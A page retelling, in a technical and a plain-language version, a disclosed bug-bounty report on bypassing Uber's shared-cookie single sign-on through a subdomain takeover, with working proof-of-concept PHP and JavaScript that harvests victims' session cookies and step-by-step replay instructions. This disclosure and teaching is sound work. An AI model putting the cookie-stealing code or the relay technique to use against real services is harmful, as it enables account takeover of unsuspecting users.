Skip to content
Subdomain takeover Write-up Advanced

Authentication bypass on uber's SSO via subdomain takeover

A dangling DNS record for saostatic.uber.com pointed to an unclaimed CloudFront distribution, allowing the author to take over the subdomain. Because Uber's SSO shared session cookies across all *.uber.com subdomains, the hijacked subdomain could be used to steal a victim's session cookie and log in as them on other Uber subdomains.

Arne Swinnen Follow

Published on arneswinnen.net

Bounty$4,500 View original

Generally, SSO systems are (variations of) any of the following three types, in order of popularity:

Arne Swinnen, on arneswinnen.net

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

TL;DR: Uber was vulnerable to subdomain takeover on saostatic.uber.com via Amazon CloudFront CDN. Moreover, Uber's recently deployed Single Sign-On (SSO) system at auth.uber.com, which is based on shared cookies between all *.uber.com subdomains, was found vulnerable to session cookie theft by any compromised *.uber.com subdomain. Therefore, the impact of the subdomain takeover could be increased to Authentication Bypass of Uber's full SSO system, yielding access to all *.uber.com subdomains protected by it (e.g. vault.uber.com, partners.uber.com, riders.uber.com, etc). Uber resolved the subdomain takeover vulnerability and granted a $5.000 bounty for the two combined issues.

Context

Uber used OAuth as an SSO system for *.uber.com subdomains in the past, as can be seen from a recent public disclosure report by @ngalog ((Uber 8k Bug) Login CSRF + Open Redirect = Account Takeover). However recently, they changed (reverted?) to a SSO system based on shared session cookies among subdomains of *.uber.com. Browsing to any uber.com subdomain that requires authentication (e.g. central, partners, riders, vault, developer, ...) redirects you to auth.uber.com instead. Once you have logged in there and you visit another subdomain, you are logged in there transparently via the SSO system at auth.uber.com, which issues temporary session cookies for every *.uber.com subdomain after being logged in once.

Generally, SSO systems are (variations of) any of the following three types, in order of popularity:

  • OAuth: Security is mainly based on whitelisted callback URLs of service providers configured at the identity providers, and CSRF protection via the "state" parameter. Flaws are often via open redirect chains, e.g. Authentication bypass on Airbnb via OAuth tokens theft.
  • SAML & friends: Security is based on XML messages signed with pre-exchanged cryptographic keys between service and identity providers. Flaws are often XML Signature bypasses, e.g. OneLogin authentication bypass on WordPress sites that bit Uber before.
  • Shared (session) cookies between subdomains: Security is based on the integrity of all subdomains. Any vulnerability on any subdomain that provides an attacker insight in the shared session cookies issued by the SSO system is fatal. Flaws are thus often RCE, debug logs exposure, subdomain takeover and friends on subdomains, e.g. Authentication bypass on Ubiquity's Single Sign-On via subdomain takeover

The first two in this list have had many problems in the past, but have improved lately in terms of security. The latter SSO based on shared session cookies between subdomains is more a technology from the past, before the former two even existed. By design, it enforces that anything that wants to leverage the SSO system to be a subdomain of the same TLD as where the SSO system is based. Since the security of the SSO system is based on the integrity of the subdomains, this is quite an ironic situation. By design, it encourages to increase the attack surface enormously.

Setup

The attack assumes the victim has already authenticated once to the SSO at auth.uber.com, and that the victim visits a webpage under control by the attacker. The PoC additionally assumes that https://saostatic.uber.com is actually serving a valid SSL certificate in the victim's browser, which was not the case; it could have easily been generated with Let's Encrypt.

Finding it

Subdomain saostatic.uber.com was pointing to Amazon Cloudfront CDN via a DNS CNAME, but the hostname was not registered there anymore (dangling pointer). This allowed a full takeover of this domain, highly similar to Subdomain takeover on rider.uber.com due to non-existent distribution on Cloudfront by Frans Rosén. The subdomain was effectively taken over as a Proof of Concept, hosting a simple HTML file as proof:

From the original on arneswinnen.net

Separately, in Uber's SSO system, auth.uber.com acts as Identity Provider and issues temporarily shared session cookies for https://*.uber.com ("domain=uber.com" cookie attribute) to communicate identities to Service Providers (e.g. riders.uber.com, partners.uber.com, central.uber.com, vault.uber.com, developer.uber.com, and many more). Service Providers on their end immediately destroy the incoming temporary shared session cookies in case of erroneous (e.g. issued for other Service Provider) or successful authentication to ensure that the window for theft is small, as can be seen in the below Uber SSO Login diagram:

From the original on arneswinnen.net

The precious shared session cookie "_csid" can thus only be stolen between steps 9-12, which is a very short period (automatic browser redirects). Although not impossible to exploit (see Jack Whitton's CSP trick to block certain cookies from being sent to certain domains, coincidentally also on Uber's bug bounty program), a more convenient flaw was identified that allows the shared session cookie to remain alive after step 12 in the browser's cookie store in the diagram above. The issue is that, if the victim is already logged in at https://riders.uber.com (situation after last step 12 in diagram) when receiving a request containing a valid newly generated shared session cookie "_csid" from auth.uber.com, it is simply ignored and remains usable. Hence it stays alive in the browser until its cookie store is cleared.

Exploitation

Step 1: keep the stolen cookie alive

An attacker simply needs to replay step 3 in the above diagram as step 13 and end with an additional hidden request to https://saostatic.uber.com to steal the precious session cookie:

From the original on arneswinnen.net

Step 2: get past the login CSRF protection

So once an attacker gets his/her hands on the victim's "_csid" shared session cookie for https://riders.uber.com, he/she can execute the normal login flow in their own browser and replace the issued "_csid" cookie value in step 9 to be logged in as the victim, right? Wrong. Uber had another surprising countermeasure in place, namely a variant of login cross-site request forgery protection. This is the actual updated Uber SSO Login diagram:

From the original on arneswinnen.net

The problem here are the GET param state=CSRFTOKEN and locally scoped state cookie that are added in step 3 by the Service Provider riders.uber.com and verified in step 11. Since we can't steal these values from the victim's browser, but only the "_csid" shared session cookie, this means game over, right?

Unfortunately, wrong. An attacker can obtain a proper CSRFTOKEN value and accompanying state cookie value from https://riders.uber.com by starting a normal login scenario on their end (e.g. in their own browser or via a simple script). He/she can then relay the auth.uber.com URL generated by https://riders.uber.com in their own browser in step 3 to the victim's browser to generate & steal the "_csid" shared session cookie for these values, and inject these in his/her own browser login scenario again in step 9. In this manner, the victim effectively generates the "_csid" temporary session token for the attacker's login scenario in a separate browser, but this works flawlessly (e.g. no IP-based checks between steps were encountered). This still allows exploitation and thus victim impersonation in the following manner (we still assume that the victim is already logged in to auth.uber.com and visits a webpage under control by the attacker, so we basically continue the flow from the above diagram):

From the original on arneswinnen.net

Step 3: the proof of concept

A PoC says more than a thousand diagrams. In the PoC steps sent to Uber & showcased in the video below, the assumption is made that https://saostatic.uber.com is actually serving a valid SSL certificate in the victim's browser, which was not the case. However, it could've easily been generated with Let's Encrypt.

  1. Open the victim's browser & browse to https://riders.uber.com. After being redirected to https://auth.uber.com, login with the victim's credentials so you end up on https://riders.uber.com trips dashboard again.
  2. Open a second browser tab in the victim's browser and browse to https://saostatic.uber.com/prepareuberattack.php. Accept any certificate warnings that you may receive here, again, we're only simulating that the domain has a valid SSL certificate. Once the page has finished loading you should see a URL, "Cookie: " string and a "Set-Cookie: " strings underneath each other. This is all info gathered under the hood by the attacker's webserver that is required to login as the victim now, everything has been stolen automagically.
  3. Open the separate attacker's browser and setup an intercepting proxy tool to intercept requests and responses. Browse to the URL displayed on the prepareuberattack.php page output and intercept this request. Now copy the "Cookie: ..." string displayed on prepareuberattack.php and paste it into the request headers.
  4. The response should be a redirect to https://riders.uber.com/trips, indicating successful authentication bypass. Last but not least, copy all the "Set-Cookie: " lines from the prepareuberattack.php page output and paste them in the response before forwarding it to the browser. This ensures that the stolen cookies are permanently injected in the attacker's browser.
  5. You are now logged in as the victim in the attacker's browser.
Or watch on YouTube
Authentication bypass on Uber’s SSO via subdomain takeover of saostatic.uber.com From the original on arneswinnen.net

In a real attack scenario, an attacker would stealthily load https://saostatic.uber.com/prepareuberattack.php in the victim's browser, e.g. through an iframe. Likewise, he/she would probably not display the URL and all the cookies on the resulting page, but store this on the server-side, ready to be abused in a stealthy fashion. Although it's a lengthy explanation, the PoC video showcases how quick & effective exploitation by an attacker can be. The code of the https://saostatic.uber.com/prepareuberattack.php and https://saostatic.uber.com/uberattack.php pages is provided below. This was written quick & dirty for PoC purposes, but it did the job:

HTML
<html>
<body>
<script>
<?php
function HandleHeaderLine( $curl, $header_line ) {
preg_match("/state=([^;]*);/", $header_line, $matches);
if(sizeof($matches) > 0) {
print("var cookiestate = '" . $matches[1] . "';\n");
}
preg_match("/Location: (.*)/", $header_line, $matches);
if(sizeof($matches) > 0) {
print("var loc = '" . trim($matches[1]) . "';\n");
}
return strlen($header_line);
}
$c = curl_init('https://riders.uber.com');
curl_setopt($c, CURLOPT_VERBOSE, 1);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine");
$page = curl_exec($c);
?>
var csrf = loc.substring(loc.lastIndexOf("=")+1);
var img = document.createElement("IMG");
img.onerror = function () {
var iframe = document.createElement("iframe");
iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf);
iframe.setAttribute("width", "100%");
iframe.setAttribute("height", "10000");
document.body.appendChild(iframe);
}
img.src=loc;
</script>
</body>
</html>
HTML
<html>
<body>
<?php
$cookiestring = "state=" . $_GET["cookiestate"] . "; ";
$interestincookies = array("_udid", "_csid", "sid");
foreach ($_COOKIE as $name => $value) {
if (in_array($name,$interestincookies)) {
$cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) .  "; ";
$cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) .  ";</br>";
}
}
print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "<br /><br />";
print "Cookie: " . $cookiestring . "<br />";
print "<br />" . $cookiestringset . "<br />";
?>
</body>
</html>

The first file can be hosted anywhere, the second file must be hosted on the hijacked subdomain (since it reads & reflects the incoming session cookies). By simply changing "riders.uber.com" to any other subdomain of uber.com in these two PHP files, an attacker could generate valid sessions for these subdomains on behalf of the victim, e.g. vault.uber.com, partners.uber.com, developer.uber.com, ...

Root cause

The subdomain takeover stems from a dangling DNS CNAME: saostatic.uber.com pointed at Amazon CloudFront, but the hostname was no longer registered there, which allowed the author to take over the subdomain.

The authentication bypass stems from the design of the shared-cookie SSO. Because auth.uber.com issues cookies with the "domain=uber.com" attribute, every *.uber.com subdomain can read them, so the security of the whole SSO rests on the integrity of every subdomain. The Service Providers' habit of destroying incoming temporary cookies after authentication was meant to shrink the theft window to steps 9-12, but a Service Provider that already has a valid session ignores a newly generated "_csid" instead of destroying it, leaving it alive in the cookie store until it is cleared. The login CSRF protection (the state=CSRFTOKEN GET parameter and locally scoped state cookie added in step 3 and verified in step 11) did not stop the attack either, because the attacker can obtain a valid pair from riders.uber.com in their own browser and relay the generated auth.uber.com URL to the victim, who then generates the "_csid" for the attacker's login scenario. No IP-based checks between steps were encountered.

Impact

Any compromised *.uber.com subdomain could be used to transparently issue and steal valid session cookies issued for any uber.com subdomain by auth.uber.com, as long as the victim had already authenticated once to the SSO. This yields access to all *.uber.com subdomains protected by it (e.g. vault.uber.com, partners.uber.com, riders.uber.com, etc). Uber explicitly mentioned several *.uber.com subdomains as out of scope in their bug bounty program policy at the time of reporting (e.g. *.dev.uber.com, *.et.uber.com, drive.uber.com, etc).

Fix

The recommendations provided to Uber were twofold:

  1. Resolve the subdomain takeover of saostatic.uber.com by removing the dangling CNAME to AWS CloudFront CDN.

  2. Resolve the Authentication Bypass issue by any of the following, in order of priority:

    • Revert the SSO system back to OAuth 2, since this does not have the side-effect of actually encouraging a large attack surface like the current shared session SSO system.
    • Or, implement an IP address check: Store a user's external IP address when issuing a shared "_csid" session cookie on auth.uber.com (identity provider) and verify that users presenting this shared session cookie to service providers on *.uber.com have the same external IP address, to prevent relay attacks like the one described above. There is a residual risk here, namely when the attacker has the same external IP address as its victim (e.g. on the same corporate network/wireless access point/...).
    • Or, accept the inherent risk and include all *.uber.com subdomains in your bug bounty program scope, since they have the potential to fully compromise the SSO system, including the high-value targets vault.uber.com, partners.uber.com and riders.uber.com

Ultimately, Uber removed the dangling CNAME and decided to implement the IP address check to decrease the exposed risk through their current cookie based SSO system. They thus opted to accept the residual risk involved.

Timeline

  • 07/04/2017: Submitted bug report to Uber
  • 11/04/2017: Triaged by Uber
  • 14/04/2017: $500 minimum bounty awarded
  • 06/06/2017: Pinged Uber about the report, since I still owned saostatic.uber.com at this point
  • 06/06/2017: Response from Uber that this report fell through the cracks, starting mitigations now
  • 07/06/2017: DNS CNAME record for saostatic.uber.com removed, report marked as closed
  • 14/06/2017: Extra $4.500 bounty awarded
  • 07/07/2017: IP address check deployed by Uber and confirmed after retest
  • 11/07/2017: Permission granted to publish blogpost by Uber

Variants to test

  • Dangling CNAMEs on other subdomains: enumerate DNS records for the target's subdomains and look for CNAMEs pointing at cloud providers (CloudFront, and similar) where the hostname is no longer registered.
  • Shared-cookie SSO with a stale-cookie window: on any SSO that issues cookies with a parent-domain attribute, check whether a Service Provider that already holds a valid session ignores a newly generated shared cookie instead of destroying it.
  • Login CSRF state relay: check whether the state parameter and its locally scoped cookie can be obtained by the attacker in their own browser and relayed to the victim, with the victim generating the shared cookie for the attacker's login scenario.
  • Missing IP binding: replay a stolen shared session cookie from a different network than the victim's.
  • Subdomain scope gaps:

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

Uber runs many websites under one big family name, uber.com. Some of them are for riders, some for drivers, some for business partners, some for staff. To save you from typing your password on each one, Uber uses a system called Single Sign-On, or SSO. You log in once at a central page, and every other Uber site trusts that central page and lets you in without asking again.

This report describes two problems that, combined, let an attacker log in as any Uber user on any of those sites. The first problem was that one of Uber's subdomains, saostatic.uber.com, was left pointing at a cloud service that no longer existed there. Anyone could claim that spot and start serving their own pages on an address that still belonged to Uber. The second problem was in how the SSO handed out its "you are logged in" passes: those passes were shared across every *.uber.com site, so a page running on any Uber subdomain could read them. Put the two together and an attacker could quietly collect a victim's pass and use it to become that victim.

Uber fixed both issues and paid a bounty for the two combined. This article walks through the whole story from zero, explaining each idea as it appears.

Some background: what SSO is and how it usually works

Before the details, a few everyday comparisons help.

  • A cookie is a small note that a website asks your browser to keep and to show back to the site on every visit. Think of it as a cloakroom ticket: you hand it over and the staff know which coat is yours. A session cookie is the ticket that says "this browser is logged in as this person".
  • Single Sign-On (SSO) is the cloakroom shared by several shops. You show your ID once at a central desk, and each shop accepts the ticket the desk gives you.
  • A subdomain is a name in front of the main name. In riders.uber.com, the subdomain is riders. Uber has many: riders, partners, vault, developer, central, and so on.
  • A Service Provider is one of those shops: a website that trusts the central login desk. The Identity Provider is the central desk itself, here auth.uber.com.

The author groups SSO systems into three common types, in order of popularity:

  • OAuth: the central desk hands out a temporary voucher, and each shop is only allowed to redeem it if it is on a pre-approved list. Protection against forged requests relies on a random value called the state parameter. Typical flaws come from redirect chains that leak the voucher, for example the author's earlier write-up on Airbnb.
  • SAML and friends: the shops and the desk exchange signed messages, like letters sealed with wax that only the right key can stamp. Typical flaws are bypasses of those signatures, for example the OneLogin issue that affected WordPress sites and had already hit Uber before.
  • Shared session cookies between subdomains: there is no separate voucher. The desk simply writes the same login ticket into your browser for the whole uber.com family, and every shop reads it. This only works if every single subdomain is trustworthy, because any one of them can read the ticket. Typical flaws are remote code execution, exposed debug logs, and subdomain takeovers on any subdomain.

The author notes that the first two types had many problems in the past but have improved. The third type is older than the other two. It forces everything that wants to use the SSO to live under the same main name, and because its security depends on every subdomain being safe, it pushes organisations to grow their attack surface enormously. That is the ironic part: the design that needs every subdomain to be perfect is the one that creates the most subdomains to worry about.

Uber's setup at the time

Uber had used OAuth for its *.uber.com sites in the past, as shown by a public report from @ngalog about a login CSRF combined with an open redirect. Recently, though, Uber had changed (or reverted) to the shared-cookie style. If you browse to any Uber subdomain that needs a login, such as central, partners, riders, vault or developer, you are sent to auth.uber.com. Once you log in there and then visit another subdomain, you are logged in there transparently, because auth.uber.com issues temporary session cookies for every *.uber.com subdomain after that first login.

A vulnerability was found in this system: any compromised *.uber.com subdomain could transparently issue and steal valid session cookies for any uber.com subdomain from auth.uber.com, as long as the victim had already logged in once to the SSO. Uber had some countermeasures in place, but they were bypassed and reported together with the subdomain takeover to raise the impact. Any compromised *.uber.com subdomain could run the same attack, although Uber's bug bounty policy at the time listed several subdomains as out of scope, such as *.dev.uber.com, *.et.uber.com and drive.uber.com.

Finding it

The dangling pointer

A DNS CNAME is a forwarding note in the internet's address book. It says "this name is really just another name, go look there instead". Uber had a CNAME for saostatic.uber.com pointing at Amazon CloudFront, a content delivery network (a service that stores and serves files from many locations so pages load fast). But the hostname was no longer registered at CloudFront. The forwarding note pointed at an empty slot. Security people call this a dangling pointer.

Because the slot was empty, anyone could register it at CloudFront and start serving their own content on saostatic.uber.com. That is a subdomain takeover: you do not break into Uber's servers, you simply claim a name Uber forgot to release. The author did exactly that as a proof of concept and hosted a simple HTML file to show it worked. The approach is very similar to an earlier report by Frans Rosén about rider.uber.com and a non-existent CloudFront distribution.

From the original on arneswinnen.net

The shared cookie and its short window

Separately, in Uber's SSO, auth.uber.com is the Identity Provider. It issues temporary shared session cookies for https://*.uber.com, using the cookie attribute domain=uber.com, which tells the browser "show this cookie to every site under uber.com". That is how it tells each Service Provider who you are.

The Service Providers, on their side, immediately destroy the incoming temporary shared cookies, whether the login failed (for example because the cookie was issued for a different Service Provider) or succeeded. The idea is to keep the window in which the cookie could be stolen as small as possible. The login diagram below shows the flow:

From the original on arneswinnen.net

The valuable shared session cookie is called _csid. According to the diagram, it can only be stolen between steps 9 and 12, a very short period filled with automatic browser redirects. That is not impossible to exploit: the author points to Jack Whitton's trick using Content Security Policy (a browser rule that says which sources a page may load from) to stop certain cookies being sent to certain domains, coincidentally also found on Uber's bug bounty programme. But a more convenient flaw was found that lets the shared cookie stay alive after step 12 in the browser's cookie store.

The issue is this: if the victim is already logged in at https://riders.uber.com (the situation after the last step 12 in the diagram) and then receives a request carrying a valid, newly generated shared session cookie _csid from auth.uber.com, that cookie is simply ignored and stays usable. It therefore remains alive in the browser until the cookie store is cleared. In everyday terms: the cloakroom was supposed to shred the old ticket after you picked up your coat, but if you already had your coat it just left the new ticket lying in your pocket.

Exploitation

Step 1: keep the stolen cookie alive

An attacker only needs to replay step 3 of the diagram as a step 13, and end with an extra hidden request to https://saostatic.uber.com to steal the valuable session cookie:

From the original on arneswinnen.net

Why this works: the victim's browser is already logged in, so the Service Provider ignores the fresh _csid instead of destroying it. The attacker's page then makes the browser visit saostatic.uber.com, a domain the attacker now controls, and that page can read the cookie because it belongs to the uber.com family.

Step 2: get past the login CSRF protection

At this point you might think: once the attacker has the victim's _csid shared session cookie for https://riders.uber.com, they can run the normal login flow in their own browser and swap in the stolen _csid value at step 9 to be logged in as the victim. That is wrong. Uber had another surprising countermeasure: a variant of login cross-site request forgery protection. Cross-site request forgery, or CSRF, is when a malicious page makes your browser send a request you did not intend. The protection here is a random value that the attacker's page cannot guess. The updated login diagram looks like this:

From the original on arneswinnen.net

The problem for the attacker is the GET parameter state=CSRFTOKEN and a locally scoped state cookie. Both are added in step 3 by the Service Provider riders.uber.com and checked in step 11. The attacker cannot steal these values from the victim's browser, only the _csid shared session cookie. So it looks like game over.

It is not. An attacker can get a proper CSRFTOKEN value and its matching state cookie from https://riders.uber.com by starting a normal login on their own side, in their own browser or with a simple script. They can then take the auth.uber.com URL that https://riders.uber.com generated in their own browser at step 3 and relay it to the victim's browser. The victim's browser then generates and hands over the _csid shared session cookie for those values, and the attacker injects it back into their own login at step 9. In effect, the victim generates the _csid temporary session token for the attacker's login, in a separate browser, and it works flawlessly. No IP-based checks between the steps were encountered. The attack therefore still allows impersonation, as follows. The victim is still assumed to be logged in to auth.uber.com and to visit a page the attacker controls, so the flow continues from the diagram above:

From the original on arneswinnen.net

Step 3: the proof of concept

A proof of concept, or PoC, says more than a thousand diagrams. In the steps sent to Uber and shown in the video below, the assumption is that https://saostatic.uber.com is actually serving a valid SSL certificate in the victim's browser, which was not the case. An SSL certificate is the padlock proof that a site is who it claims to be. It could easily have been generated with Let's Encrypt, a service that issues free certificates.

  1. Open the victim's browser and go to https://riders.uber.com. After being redirected to https://auth.uber.com, log in with the victim's credentials so you end up back on the https://riders.uber.com trips dashboard.
  2. Open a second tab in the victim's browser and go to https://saostatic.uber.com/prepareuberattack.php. Accept any certificate warnings you see; again, this only simulates that the domain has a valid certificate. When the page has loaded you should see a URL, a Cookie: string and Set-Cookie: strings underneath each other. This is all the information the attacker's web server gathered under the hood, which is needed to log in as the victim. Everything has been stolen automatically.
  3. Open the separate attacker's browser and set up an intercepting proxy tool to intercept requests and responses. An intercepting proxy sits between your browser and the internet and lets you pause, read and edit traffic. Go to the URL shown on the prepareuberattack.php output and intercept that request. Copy the Cookie: ... string shown on the prepareuberattack.php page and paste it into the request headers.
  4. The response should be a redirect to https://riders.uber.com/trips, which indicates a successful authentication bypass. Finally, copy all the Set-Cookie: lines from the prepareuberattack.php output and paste them into the response before forwarding it to the browser. This makes the stolen cookies permanently injected into the attacker's browser.
  5. You are now logged in as the victim in the attacker's browser.
Or watch on YouTube
Authentication bypass on Uber’s SSO via subdomain takeover of saostatic.uber.com From the original on arneswinnen.net

In a real attack, the attacker would load https://saostatic.uber.com/prepareuberattack.php in the victim's browser stealthily, for example inside an iframe (a page embedded inside another page). They would also probably not display the URL and all the cookies on the resulting page, but store them on the server side, ready to be abused quietly. The explanation is long, but the video shows how quick and effective the exploitation is. The code of the https://saostatic.uber.com/prepareuberattack.php and https://saostatic.uber.com/uberattack.php pages is below. It was written quick and dirty for the PoC, but it did the job.

HTML
<html>
<body>
<script>
<?php
function HandleHeaderLine( $curl, $header_line ) {
preg_match("/state=([^;]*);/", $header_line, $matches);
if(sizeof($matches) > 0) {
print("var cookiestate = '" . $matches[1] . "';\n");
}
preg_match("/Location: (.*)/", $header_line, $matches);
if(sizeof($matches) > 0) {
print("var loc = '" . trim($matches[1]) . "';\n");
}
return strlen($header_line);
}
$c = curl_init('https://riders.uber.com');
curl_setopt($c, CURLOPT_VERBOSE, 1);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine");
$page = curl_exec($c);
?>
var csrf = loc.substring(loc.lastIndexOf("=")+1);
var img = document.createElement("IMG");
img.onerror = function () {
var iframe = document.createElement("iframe");
iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf);
iframe.setAttribute("width", "100%");
iframe.setAttribute("height", "10000");
document.body.appendChild(iframe);
}
img.src=loc;
</script>
</body>
</html>

Line by line, in plain words:

  • <html>, <body>, <script> and their closing tags are the skeleton of a web page. The <script> block holds JavaScript, the language browsers run.
  • <?php ... ?> is a block of PHP, a language that runs on the web server before the page is sent. So the server does some work first, then the browser runs the JavaScript that results.
  • function HandleHeaderLine( $curl, $header_line ) { defines a helper that is called for every response header line the server receives. Headers are the small labels that travel with a web request or response, such as Location: or Set-Cookie:.
  • preg_match("/state=([^;]*);/", $header_line, $matches); searches a header line for state= followed by anything up to a semicolon, and stores the captured part in $matches.
  • if(sizeof($matches) > 0) { print("var cookiestate = '" . $matches[1] . "';\n"); } if something was found, it writes a JavaScript line that stores that value in a variable called cookiestate.
  • preg_match("/Location: (.*)/", $header_line, $matches); looks for a Location: header, which is how a server tells the browser to redirect somewhere else.
  • if(sizeof($matches) > 0) { print("var loc = '" . trim($matches[1]) . "';\n"); } if found, it writes a JavaScript line storing the redirect target in loc.
  • return strlen($header_line); tells the HTTP library how many bytes it consumed, which it expects.
  • $c = curl_init('https://riders.uber.com'); starts a request to the riders site from the server side.
  • curl_setopt($c, CURLOPT_VERBOSE, 1); turns on verbose mode.
  • curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); makes the response come back as a value instead of being printed.
  • curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine"); says: call HandleHeaderLine for every header line.
  • $page = curl_exec($c); actually performs the request.
  • var csrf = loc.substring(loc.lastIndexOf("=")+1); in the browser, takes the redirect URL and grabs everything after the last =, which is the CSRF token.
  • var img = document.createElement("IMG"); creates an invisible image element. Images are handy because the browser will try to load their source automatically.
  • img.onerror = function () { ... } sets what happens if the image fails to load. The trick is that the image source is the redirect URL, which is not an image, so it fails, and the code inside runs.
  • var iframe = document.createElement("iframe"); creates an embedded frame.
  • iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf); points the frame at the attacker's page on the hijacked subdomain, passing the state cookie value and the CSRF token in the URL.
  • iframe.setAttribute("width", "100"); and iframe.setAttribute("height", "10000"); size the frame.
  • document.body.appendChild(iframe); puts the frame on the page, which makes the browser load it.
  • img.src=loc; starts the image load with the redirect URL, which triggers the error handler above.
HTML
<html>
<body>
<?php
$cookiestring = "state=" . $_GET["cookiestate"] . "; ";
$interestincookies = array("_udid", "_csid", "sid");
foreach ($_COOKIE as $name => $value) {
if (in_array($name,$interestincookies)) {
$cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) .  "; ";
$cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) .  ";</br>";
}
}
print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "<br /><br />";
print "Cookie: " . $cookiestring . "<br />";
print "<br />" . $cookiestringset . "<br />";
?>
</body>
</html>

Line by line:

  • $cookiestring = "state=" . $_GET["cookiestate"] . "; "; starts building a cookie string with the state value that was passed in the URL.
  • $interestincookies = array("_udid", "_csid", "sid"); lists the cookie names the attacker cares about.
  • foreach ($_COOKIE as $name => $value) { loops over every cookie the browser sent to this page.
  • if (in_array($name,$interestincookies)) { only continues for the interesting names.
  • $cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) . "; "; adds the cookie to the request-style string, turning spaces into + as URLs do.
  • $cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) . ";</br>"; also builds a response-style Set-Cookie line for each, so the attacker can paste them back later.
  • print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "<br /><br />"; prints the URL the attacker should visit, with the CSRF token in the state parameter.
  • print "Cookie: " . $cookiestring . "<br />"; prints the request cookie string.
  • print "<br />" . $cookiestringset . "<br />"; prints the response cookie lines.

The first file can be hosted anywhere. The second must be hosted on the hijacked subdomain, because it reads and reflects the incoming session cookies. By simply changing riders.uber.com to any other uber.com subdomain in these two PHP files, an attacker could generate valid sessions for those subdomains on behalf of the victim, for example vault.uber.com, partners.uber.com or developer.uber.com.

Root cause

The subdomain takeover comes from a dangling DNS CNAME: saostatic.uber.com pointed at Amazon CloudFront, but the hostname was no longer registered there, so anyone could claim it and serve content on the subdomain.

The authentication bypass comes from the design of the shared-cookie SSO. Because auth.uber.com issues cookies with the domain=uber.com attribute, every *.uber.com subdomain can read them, so the security of the whole SSO rests on the integrity of every subdomain. The Service Providers' habit of destroying incoming temporary cookies after authentication was meant to shrink the theft window to steps 9 to 12, but a Service Provider that already has a valid session ignores a newly generated _csid instead of destroying it, leaving it alive in the cookie store until cleared. The login CSRF protection, the state=CSRFTOKEN GET parameter and locally scoped state cookie added in step 3 and checked in step 11, did not stop the attack either, because the attacker can get a valid pair from riders.uber.com in their own browser and relay the generated auth.uber.com URL to the victim, who then generates the _csid for the attacker's login.

Impact

Any compromised *.uber.com subdomain could be used to transparently issue and steal valid session cookies issued for any uber.com subdomain by auth.uber.com, as long as the victim had already logged in once to the SSO. That gives access to all *.uber.com subdomains protected by it, for example vault.uber.com, partners.uber.com and riders.uber.com. Uber explicitly listed several *.uber.com subdomains as out of scope in its bug bounty policy at the time of reporting, for example *.dev.uber.com, *.et.uber.com and drive.uber.com.

Fix

The recommendations given to Uber were twofold:

  1. Resolve the subdomain takeover of saostatic.uber.com by removing the dangling CNAME to AWS CloudFront CDN.

  2. Resolve the authentication bypass by any of the following, in order of priority:

    • Revert the SSO system back to OAuth 2, since that does not have the side effect of encouraging a large attack surface like the current shared-session SSO.
    • Or implement an IP address check: store a user's external IP address when issuing a shared _csid session cookie on auth.uber.com (the Identity Provider) and verify that users presenting this shared session cookie to Service Providers on *.uber.com have the same external IP address, to prevent relay attacks like the one described. There is a residual risk here, namely when the attacker has the same external IP address as the victim, for example on the same corporate network or wireless access point.
    • Or accept the inherent risk and include all *.uber.com subdomains in the bug bounty scope, since they have the potential to fully compromise the SSO system, including the high-value targets vault.uber.com, partners.uber.com and riders.uber.com.

Ultimately, Uber removed the dangling CNAME and decided to implement the IP address check to reduce the exposed risk through its current cookie-based SSO. It thus opted to accept the residual risk involved.

Timeline

  • 07/04/2017: Submitted bug report to Uber
  • 11/04/2017: Triaged by Uber
  • 14/04/2017: $500 minimum bounty awarded
  • 06/06/2017: Pinged Uber about the report, since the author still owned saostatic.uber.com at this point
  • 06/06/2017: Response from Uber that this report fell through the cracks, starting mitigations now
  • 07/06/2017: DNS CNAME record for saostatic.uber.com removed, report marked as closed
  • 14/06/2017: Extra $4.500 bounty awarded
  • 07/07/2017: IP address check deployed by Uber and confirmed after retest
  • 11/07/2017: Permission granted to publish the blogpost by Uber

Variants to test

  • Dangling CNAMEs on other subdomains: list the DNS records for a target's subdomains and look for CNAMEs pointing at cloud providers such as CloudFront where the hostname is no longer registered.
  • Shared-cookie SSO with a stale-cookie window: on any SSO that issues cookies with a parent-domain attribute, check whether a Service Provider that already holds a valid session ignores a newly generated shared cookie instead of destroying it.
  • Login CSRF state relay: check whether the state parameter and its locally scoped cookie can be obtained by the attacker in their own browser and relayed to the victim, with the victim generating the shared cookie for the attacker's login.
  • Missing IP binding: replay a stolen shared session cookie from a different network than the victim's.
  • Subdomain scope gaps:

Glossary

  • API: a way for one piece of software to talk to another, like a waiter taking your order to the kitchen.
  • Authentication bypass: getting logged in as someone else, or getting past a login check, without knowing their password.
  • Bug bounty: a programme where a company pays researchers for reporting security problems responsibly.
  • CloudFront: Amazon's content delivery network, a service that stores and serves files from many locations.
  • Cookie: a small note a website asks your browser to keep and send back on later visits.
  • Cookie store: the place in your browser where all cookies for all sites are kept.
